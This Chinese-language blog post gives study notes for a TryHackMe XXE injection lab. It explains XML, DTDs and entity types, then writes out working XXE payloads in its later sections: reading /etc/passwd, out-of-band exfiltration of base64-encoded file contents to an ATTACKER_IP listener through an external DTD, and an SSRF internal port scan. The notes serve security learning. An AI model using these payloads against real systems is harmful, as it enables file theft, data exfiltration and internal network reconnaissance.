tryhackme XXE Injection

https://tryhackme.com/room/xxeinjection

XXE Injection

探索XML

  • XML 语法与结构(XML Syntax and Structure)

  • Web 应用中的常见用途

它常用于 Web 服务和 API(如 SOAP 和 REST),以实现系统间的数据交换。XML 也用于配置文件,例如 Web 服务器配置或应用设置。

  • 什么是 XSLT

XSLT(可扩展样式表语言转换,Extensible Stylesheet Language Transformations)是一种用于转换和格式化 XML 文档的语言。虽然 XSLT 主要用于数据转换与格式化,但它与 XXE(XML 外部实体)攻击也有显著关联。

XSLT 可通过多种方式助长 XXE 攻击:
数据提取(Data Extraction):XSLT 可从 XML 文档中提取敏感数据,进而用于 XXE 攻击。例如,XSLT 样式表可以从 XML 文件中提取用户凭据或其他敏感信息。
实体展开(Entity Expansion):XSLT 可以展开 XML 文档中定义的实体,包括外部实体。这可能让攻击者注入恶意实体,从而导致 XXE 漏洞。
数据操纵(Data Manipulation):XSLT 可操纵 XML 文档中的数据,可能使攻击者注入恶意数据或修改现有数据,以利用 XXE 漏洞。
盲 XXE(Blind XXE):XSLT 可用于实施盲 XXE 攻击,即攻击者在看不到服务器响应的情况下注入恶意实体。

  • 什么是 DTD

DTD(文档类型定义,Document Type Definitions)用于定义 XML 文档的结构与约束。它规定了允许的元素、属性,以及它们之间的关系。DTD 可以是 XML 文档内部的,也可以是单独文件中的外部 DTD。

  • DTD 的用途

校验(Validation):DTD 在处理前校验 XML 的结构是否符合特定标准,这在数据完整性至关重要的环境中非常关键。
实体声明(Entity Declaration):DTD 定义可在整个 XML 文档中使用的实体,包括外部实体——而这正是 XXE 攻击的关键所在。
内部 DTD 通过 <!DOCTYPE 声明来指定,而外部 DTD 则通过 SYSTEM 关键字来引用。

纯结构的校验型DTD

<?xml version="1.0" encoding="UTF-8"?>          <!-- XML 声明:版本 + 编码 -->
<!DOCTYPE config [                              <!-- 内部 DTD 开始,根元素名为 config -->
  <!ELEMENT config (database)>                  <!-- config 必须包含 database 子元素 -->
  <!ELEMENT database (username, password)>      <!-- database 必须按顺序含 username、password -->
  <!ELEMENT username (#PCDATA)>                 <!-- username 内容为可解析字符数据 -->
  <!ELEMENT password (#PCDATA)>                 <!-- password 内容为可解析字符数据 -->
]>
<config>
  <!-- configuration data -->                   <!-- 实际配置数据(此处为注释占位) -->
</config>
  • DTD 与 XXE

DTD 可以被用来声明外部实体(external entities)。外部实体能够引用外部文件或 URL,这就可能导致恶意数据或代码的注入。

  • XML 实体(XML Entities)

XML 实体是可在 XML 文档内部被展开的数据或代码的占位符。实体共有五种类型:内部实体(internal entities)、外部实体(external entities)、参数实体(parameter entities)、通用实体(general entities)和字符实体(character entities)。

外部实体示例:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY external SYSTEM "http://example.com/test.dtd">
<config>
&external;
</config>
  • 实体类型(Types of Entities)

内部实体(Internal Entities)

<!DOCTYPE note [
<!ENTITY inf "This is a test.">
]>
<note>
        <info>&inf;</info>
</note>

外部实体(External Entities)

<!DOCTYPE note [
<!ENTITY ext SYSTEM "http://example.com/external.dtd">
]>
<note>
        <info>&ext;</info>
</note>

参数实体(Parameter Entities,% 开头)
用在 DTD 内部,且可以引用外部资源(<!ENTITY % xxe SYSTEM "http://attacker/">

<!DOCTYPE note [
<!ENTITY % common "CDATA">
<!ELEMENT name (%common;)>
]>
<note>
        <name>John Doe</name>
</note>

通用实体(General Entities)
参数实体 %xxx; → 用在 DTD 内部
通用实体 &xxx; → 用在文档内容里

<!DOCTYPE note [
<!ENTITY author "John Doe">
]>
<note>
        <writer>&author;</writer>
</note>

字符实体(Character Entities)

&lt; 表示小于号(<)
&gt; 表示大于号(>)
&amp; 表示和号(&)

DOM结构中实体的类型:https://learn.microsoft.com/en-us/dotnet/standard/data/xml/reading-entity-declarations-and-entity-references-into-the-dom

XML解析机制

常见的 XML 解析器(Common XML Parsers)
DOM(文档对象模型)解析器
SAX(XML 简单 API)解析器
StAX(XML 流式 API)解析器
XPath 解析器

XXE 带内

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>

XML 实体展开(XML Entity Expansion)

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "This is a test message" >]>
<contact><name>&xxe; &xxe;
</name><email>test@test.com</email><message>test</message></contact>

XXE 带外

user@tryhack $ python3 -m http.server 1337

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://ATTACKER_IP:1337/" >]>
<upload><file>&xxe;</file></upload>

sample.dtd

<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:1337/?data=%cmd;'>">
%oobxxe;

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE upload SYSTEM "http://ATTACKER_IP:1337/sample.dtd">
<upload>
    <file>&exfil;</file>
</upload>

SSRF + XXE

内网扫描(Internal Network Scanning)

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://localhost:§10§/" >
]>
<contact>
  <name>&xxe;</name>
  <email>test@test.com</email>
  <message>test</message>
</contact>

posted @ 2026-08-25 16:21  sec875  阅读(4)  评论(0)    收藏  举报